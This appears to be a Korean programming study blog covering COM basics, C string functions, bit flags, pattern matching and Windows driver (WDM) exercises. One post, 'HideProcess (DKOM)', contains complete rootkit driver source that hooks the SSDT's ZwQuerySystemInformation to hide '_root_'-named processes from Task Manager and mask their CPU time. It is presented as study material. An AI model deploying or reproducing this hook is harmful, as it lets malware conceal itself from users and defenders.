COM - 기본( 등록, 사용 )

from Study/COM 2007/12/04 21:33 view 25201
1) 만들어 놓은 클래스 라이브러리를 멤버변수로 선언하여 사용하게 되면 강한 결합을 하게 된다.
2) 그래서, 인터페이스를 사용하여 약한 결합을 만드는데 이게 바로 COM이 하는 역할이다.
3) 3개의 함수는 QueryInterface, AddRef, Release 를 반드시 구현해 줘야 한다.
4) 컴포넌트가 객체생성을 책임져야 하므로 반드시 IUnknown 를 최상위 부모로 하여 상속되어야 한다.
5) CreateInstance, DllGetClassObject 를 사용하여 객체를 생성해줘야 한다.
6) 이모든 과정을 단순화 한 것이 ATL, COM+ 이다...그래도 어렵다..ㅜ_ㅜ..

- regsvr32 DLL명
- Com.dll 을 레지스트리(HKEY_CLASSES_ROOT\CLSID) 에 등록해준다.

1. IFace.h ( 인터페이스ID, 클래스ID 를 등록한다 )

more..


 2. AnyCall.h ( 인터페이스를 제공한다. )

more..


3. AnyCall.cpp ( IUnknown 의 3개의 가상함수를 구현하고 기능을 구현해준다. )

more..


4. Registry.h( 레지스트리 함수를 제공한다. )

more..


5. Registry.cpp( 레지스트리 함수를 제공한다. )

more..


6. Anycall.def ( dllexport 역할을 해준다. )

more..


1. UseCom ( Com 을 사용하는 방법 - dll로드가 아닌 레지스트리에 등록된 COM을 사용한다. )

more..


대체와 대처의 뜻

from Study/한글 2007/12/04 11:44 view 34700
대ː체
(大體)
【一】【명사】 어떤 일이나 내용의 기본이 되는 큰 줄거리.
¶ ∼적인 방안.
【二】【부사】 도대체. 대관절.
¶ ∼ 어찌 된 일인가.
 
대ː체
(代替)【명사】【~하다|자동사·타동사】 다른 것으로 바꿈.
¶ 새것과 ∼하다.
 
대ː체
(對替)【명사】【~하다|타동사】 『경』 어떤 계정의 금액을 다른 계정에 옮겨 적는 일.
대체(代替)
?비슷한 말?대신(代身), 대치(代置)
--------------------------------------------------------------------------------------------------
대ː처
(對處)【명사】【~하다|타동사】 어떤 일에 대하여 적당한 조처를 취함. 또는 그 취한 조처.
¶ 사고에 ∼하다/ 강력한 ∼ 방안을 제시하였다.
대처(對處)
?비슷한 말?방패(防牌)막이, 조치(措置), 대비(對備), 대응(對應); 처신(處身), 행신(行身)

Tag |

한글 문자열을 뒤집어라.

from Study/Quiz 2007/12/01 18:28 view 30907

한글도 되도록 하자.

// 200447214 김준주
#include <iostream>
using namespace std;

char* ReverseString(const char* src, int len)
{
 // 새로운 문자열을 보관할 메모리를 할당한다.
 char* reverse = new char[len + 1];

 // 문자열을 역순으로 복사한다.
 for(int i = 0; i < len; ++i)
 {
  if( src[len-i-1] < 0 && src[len-i-2] < 0)
  {
   reverse[i] = src[len - i - 2];
   reverse[i+1] = src[len - i - 1];

   ++i;
  }
  else
   reverse[i] = src[len - i - 1];
 }

 // 새 문자열의 끝에 NULL을 넣어준다.
 reverse[len] = NULL;

 // 새 문자열을 반환한다.
 return reverse;
}

int main()
{
 // 문자열을 하나 만든다.
 char original[] = "한글 뒤집기";

 // 함수를 호출한다.
 char* copy = ReverseString( original, strlen(original) );

 // 두문자열을 출력한다.
 cout << original << "\n";
 cout << copy << "\n";

 // 새 문자열의 메모리를 해제한다.
 delete[] copy;
 copy = NULL;

 return 0;
}

Tag | ,
1. CreateFile(), WriteFile(), ReadFile(), CloseHandle() 를 Dispatch

more..


2. Bufferd I/O 를 사용한 Dispatch

more..


3. DeviceIoControl 을 사용한 Dispatch

more..


4. IRP_MJ_DEVICE_CONTROL( DispatchDeviceIoControl ) 사용한 Dispatch ( Event )

more..


Tag |

WDM 실습 - Kernel 의 Device Extension

from Study/WDM 2007/11/30 21:44 view 29189
1. User모드 와 통신
- 객체 : data(상태) - 따로 있어야 한다.
           함수(동작) - 모든 객체가 하나의 함수를 사용해도 된다.
사용자 삽입 이미지
- 드라이버는 하나가 있어도 되지만 실제 장치가 2개이상이 있다면 각 장치마다의 상태를 따로 관리해야 한다.
- 디바이스 Object 는 링크드 리스트로 각 장치의 상태(잉크잔량,종이)등을 저장하고 있다.
- 디바이스 Object는 버퍼하나를 가리키는 포인터를 하나 가지고 있다.( Device Extension ) 디바이스당 하나!!
- 심볼릭 링크를 사용하여 유저모드에서 접근을 가능하게 해준다. CreateFile() 로 접근할 수 있다.

- ( WinObj 툴을 사용하여 확인 해볼 수 있다. ) : Global?? 심볼릭 링크..
 
1) Device Object 를 생성 : Device Extension을 정의 해주고 심볼릭 링크를 통해 얻어온다.
2) Unload는 반드시 디바이스 만들기 전에 지정 - 만들다 실패 했을 때 unload가 안되는 상황을 피한다.

예제소스 ~
ex1) 드라이버 소스 심볼릭을 만들어 준다. Device Extension 버퍼에 값을 넣어준다.

more..


ex2) User Mode 에서 CreateFile 로 접근

more..




Tag |

WDM 실습 - 간단한 키보드 제어

from Study/WDM 2007/11/30 19:54 view 32402
1. H/W 제어
- IRQ( Interrupt request ) : 15개의 인터럽트를 갖는다.
- CPU는 8259 칩 2개를 사용하여 입력포트를 늘린다.(7개(1개는 다른 8259칩이랑 연결) + 8개 )
http://dblab.co.kr/entry/1016화-이론-2-Hook

- 60, 64번포트를 사용하여 읽어오고 내보낸다.
- out, in 특정 포트를 사용하는 기본적인 명령어 이다.(인텔명령어)
- 호환성을 높이기 위한 MS는 매크로를 만들어 놨다.
 => WRITE_PORT_CHAR(), READ_PORT_CHAR()       // HAL( hardware abstract layer )

=> 키보드에 달려있는 3개의 LED를 깜박인다. (-_-..안되는 것도 있다. )
#include "ntddk.h"
#include <stdio.h>

VOID rootkit_command_thread(PVOID context);
HANDLE gWorkerThread;
PKTIMER    gTimer;
PKDPC    gDPCP;
UCHAR g_key_bits = 0;

// commands
#define READ_CONTROLLER        0x20
#define WRITE_CONTROLLER    0x60

// command bytes
#define SET_LEDS            0xED
#define KEY_RESET            0xFF

// responses from keyboard
#define KEY_ACK                0xFA    // ack
#define KEY_AGAIN            0xFE    // send again

// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL        0x02
#define OBUFFER_FULL        0x01

// flags for keyboard LEDS
#define SCROLL_LOCK_BIT        (0x01 << 0)
#define NUMLOCK_BIT            (0x01 << 1)
#define CAPS_LOCK_BIT        (0x01 << 2)

ULONG WaitForKeyboard()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR mychar;
   
    DbgPrint("waiting for keyboard to become accecssable\n");
    do
    {
        mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

        KeStallExecutionProcessor(666);

        _snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
        DbgPrint(_t);

        if(!(mychar & IBUFFER_FULL)) break;    // if the flag is clear, we go ahead
    }
    while (i--);

    if(i) return TRUE;
    return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
    char _t[255];
    int i = 100;    // number of times to loop
    UCHAR c;
   
    DbgPrint("draining keyboard buffer\n");
    do { c = READ_PORT_UCHAR(KEYBOARD_PORT_64); KeStallExecutionProcessor(666); _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
        DbgPrint(_t);

        if(!(c & OBUFFER_FULL)) break;    // if the flag is clear, we go ahead
   
        // gobble up the byte in the output buffer
        c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
       
        _snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
        DbgPrint(_t);
    }
    while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
    char _t[255];
   
   
    if(TRUE == WaitForKeyboard())
    {
        DrainOutputBuffer();

        _snprintf(_t, 253, "SendKeyboardCommand::sending byte %02X to port 0x60\n", theCommand);
        DbgPrint(_t);

        WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
       
        DbgPrint("SendKeyboardCommand::sent\n");
    }
    else
    {
        DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
        return FALSE;
    }
   
    // TODO: wait for ACK or RESEND from keyboard   
   
    return TRUE;
}

void SetLEDS( UCHAR theLEDS )
{
    // setup for setting LEDS
    if(FALSE == SendKeyboardCommand( 0xED ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }

    // send the flags for the LEDS
    if(FALSE == SendKeyboardCommand( theLEDS ))
    {
        DbgPrint("SetLEDS::error sending keyboard command\n");
    }
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("ROOTKIT: OnUnload called\n");
    KeCancelTimer( gTimer );
    ExFreePool( gTimer );
    ExFreePool( gDPCP );
}

// called periodically
VOID timerDPC(    IN PKDPC Dpc,
                IN PVOID DeferredContext,
                IN PVOID sys1,
                IN PVOID sys2)
{
    SetLEDS( g_key_bits++ );
    if(g_key_bits > 0x07) g_key_bits = 0;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    LARGE_INTEGER timeout;

    theDriverObject->DriverUnload  = OnUnload;

    // these objects must be non paged
    gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
    gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

    timeout.QuadPart = -10;

    KeInitializeTimer( gTimer );
    KeInitializeDpc( gDPCP, timerDPC, NULL );

    if(TRUE == KeSetTimerEx( gTimer, timeout, 300, gDPCP))    // 300 ms timer   
    {
        DbgPrint("Timer was already queued..");
    }

    return STATUS_SUCCESS;
}
Tag |

WDM 실습 - HideProcess ( DKOM )

from Study/WDM 2007/11/30 16:38 view 35195
1. HideProcess - "_root_" 에서 지정한 프로세스를 작업관리자 목록에서 숨긴다.
- 참고 : DKOM 기법 개념 , DKOM PDF
- EnumProcess() 는 Tool Help API 이고 결국엔 ZwQuerySystemInfomation 를 호출한다.
- 모든 프로세스는 커널레벨에서 EPROCESS가 링크드리스트로 연결되어 있다.

- InitSystemProcess 링크드리스트의 연결을 임의적으로 바꾼다
(DKOM : Direct Kernel Object Manipulation ) 이라고 부른다.
- EPROCESS 링크드 리스트를 임의로 수정해도 스레드리스트에 있다면 작동은 한다. 스레드리스트와 링크드리스트를 비교해서 숨겨놓은 프로세스를 찾아 낼 수 있다.( ....)

- ZwQueryDirectory() 후킹하면 폴더를 감출 수 있습니다.
- Driver 또한 Hide 할 수 있다.(....)

- 소스는 rootkit 에서 참고.

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) \
         KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]


PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)


struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
        LARGE_INTEGER                    IdleTime;
        LARGE_INTEGER                    KernelTime;
        LARGE_INTEGER                    UserTime;
        LARGE_INTEGER                    DpcTime;
        LARGE_INTEGER                    InterruptTime;
        ULONG                            InterruptCount;
};


NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER                    m_UserTime;
LARGE_INTEGER                    m_KernelTime;

///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,    // 얻고 싶은 정보의 종류( 5이면 프로세스 관련 )
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   // 원래의 커널 함수를 먼저 호출해서 프로세스의 정보를 버퍼에 담아온다.
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)    // 프로세스 정보를 꺼내고 있다면...
      {
         // This is a query for the process list.
         // Look for process names that start with
         // '_root_' and filter them out.
                   
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
        
         while(curr)
         {
            //DbgPrint("Current item is %x\n", curr);
            if (curr->ProcessName.Buffer != NULL)
            {
                if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
                {
                    m_UserTime.QuadPart += curr->UserTime.QuadPart;
                    m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                    if(prev) // Middle or Last entry
                    {
                        if(curr->NextEntryDelta)
                            prev->NextEntryDelta += curr->NextEntryDelta;
                        else    // we are last, so make prev the end
                            prev->NextEntryDelta = 0;
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            // we are first in the list, so move it forward
                            (char *)SystemInformation += curr->NextEntryDelta;
                        }
                        else // we are the only process!
                            SystemInformation = NULL;
                    }
                }
            }
            else // This is the entry for the Idle process
            {
               // Add the kernel and user times of _root_*
               // processes to the Idle process.
               curr->UserTime.QuadPart += m_UserTime.QuadPart;
               curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

               // Reset the timers for next time we filter
               m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            }
            prev = curr;
            if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
            else curr = NULL;
         }
      }
      else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
      {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
      }

   }
   return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("ROOTKIT: OnUnload called\n");

   // unhook system calls
   UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

   // Unlock and Free MDL
   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
                     IN PUNICODE_STRING theRegistryPath)
{
   // Register a dispatch function for Unload
   theDriverObject->DriverUnload  = OnUnload;

   // Initialize global times to zero
   // These variables will account for the
   // missing time our hidden processes are
   // using.
   m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

   // save old system call locations
   OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

   // Map the memory into our domain so we can change the permissions on the MDL
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   // Change the flags of the MDL
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

   // hook system calls
   HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                             
   return STATUS_SUCCESS;
}

Tag | ,

Pattern Matching

from Study/자료구조 2007/11/30 11:45 view 23957
모든소스 : http://www-igm.univ-mlv.fr/~lecroq/string/ ( string 알고리즘 이라는 책 사고싶네... )
1. Brute Force Text Search ( n*n 비효휼적 )

more..


2. Karp-Rabin Text Search

more..


3. Shift Or Text Search

more..


4. Morris_Pratt Text Search

more..


5. Knuth_Morris_Pratt Text Search

more..


6. Boyer - Moore Text Search

more..

문자열 함수의 구현

from Study/C언어 2007/11/29 16:22 view 29324
1. my_strcpy( strcpy )
#include <stdio.h>
#include <assert.h>

void my_strcpy( char * dest, char * src )
{
    assert(src!=0 && dest!=0);
    while( (*dest++ = *src++) != 0 )
        // nothing ;
}

2. my_strlen( strlen )
// 자료형끼리의 길이를 빼주는 방식으로 구한다.
// 포인터를 이용하는 방식을 선호해보자.
int my_strlen( char* arg )
{
    char *base = arg;

    for( ; *arg != '\0'; ++arg)
        NULL/*nothing*/;
   
    return (int)(arg - base);    // 포인터와 포인터를 빼면 그 길이가 나온다.
}

3. my_strcat( strcat )
// dest의 오버플로우는 보장해주지 않는다. 사용자가 해야 하는 일.
void my_strcat( char* dest, char* src )
{
    while( *dest != '\0' )
        ++dest;    // NULL 위치를 가리키는 포인터로 만든다.

    while( (*dest++ = *src++) != '\0' )
        /*nothing*/;
}

4. reverse( reverse )
// 손바닥을 뒤집듯이 처음과 끝부터 차례대로 바꾼다.
// 가운데, 즉 역전 되기 전까지 바꿔나간다. => | <=
// 한글이 섞여 있다면 안된다. 2바이트랑 1바이트랑 바꾸기가 힘들다.
void reverse( char* arg )
{
    int len = strlen( arg );
    int i, j, t;

    for( i = 0, j = len - 1; i < j; ++i, --j )
    {
        t = arg[i];
        arg[i] = arg[j];
        arg[j] = t;
    }
}

5. swap( swap )
void swap( void* dest, void* src, int size )
{
    void *temp = malloc( size );

    memcpy( temp, dest, size );
    memcpy( dest, src, size );
    memcpy( src, temp, size );

    free( temp );
}

6. my_strcmp( strcmp )
int my_strcmp( char* dest, char* src )
{
    int ret;

    // 같았는데 '\0' 이 아니라면 또 비교하고 .. 비교하고.
    // 같지 않다면 음수나 양수를 리턴시켜준다.
    // while( ( ret = *dest++ - *src ) == 0 && *src++ != '\0' )
    while( 1 )
    {
        if( ( ret = *dest++ - *src ) != 0 || *src++ == '\0' )
            break;
    }

    return ret;
}

7. my_strchr( strchr )
char* my_strchr( char *dest, int src )
{
    for( ; *dest != src; ++dest )
        if( *dest == 0  )
            return 0;

    return dest;
}

8. my_strstr( strstr )
char* my_strstr( char* dest, char* src ) {
    int i, j;
    int len_dest = strlen(dest);
    int len_src  = strlen(src);

    for( i = 0; i < len_dest - len_src+1; ++i )
    {
        for( j = 0; j < len_src; ++j )
        {
            if( dest[i+j] != src[j] )
                break;
        }
        if( j == len_src )    // 끝까지 루프를 돌아으므로 같다는 의미..
        {
            return dest+i;
        }
    }

    return 0;
}

9. my_strspn( strspn ) - 지정한 토큰이 아닌 곳의 인덱스를 반환한다.
int my_strspn( char* dest, char* src )
{
    int i, j;
    int len_dest = strlen( dest );
    int len_src  = strlen( src );

    for( i = 0; i < len_dest; ++i )
    {
        for( j = 0; j < len_src; ++j )
        {
            if( dest[i] == src[j] )
                break;
        }

        if( j == len_src )
            return i;
    }

    return i;    // 끝까지 갔다면 NULL의 인덱스가 리턴된다.
}

10. my_strtok( strtok )
char * my_strtok(char * str, char * del)
{
    static char *curr;
    char *sbegin, *send;
   
    sbegin  = str ? str : curr;
    if (!sbegin)
        return 0;
   
    sbegin += strspn(sbegin,del);
    if (*sbegin == 0)
    {
        curr = 0;
        return 0;
    }
    send = strpbrk( sbegin, del);
    if (send && *send )
        *send++ = 0;
    curr = send;

    return sbegin;
}

비트 플래그

from Study/C언어 2007/11/28 21:10 view 33165

1. 기본( &(검사), |(추가),  &= ~(삭제) )

more..


2. 배열을 사용한 비트 플래그

more..


3. 매크로를 이용한 비트 플래그 연산( http://lxr.linux.no/source/include/linux/posix_types.h )

more..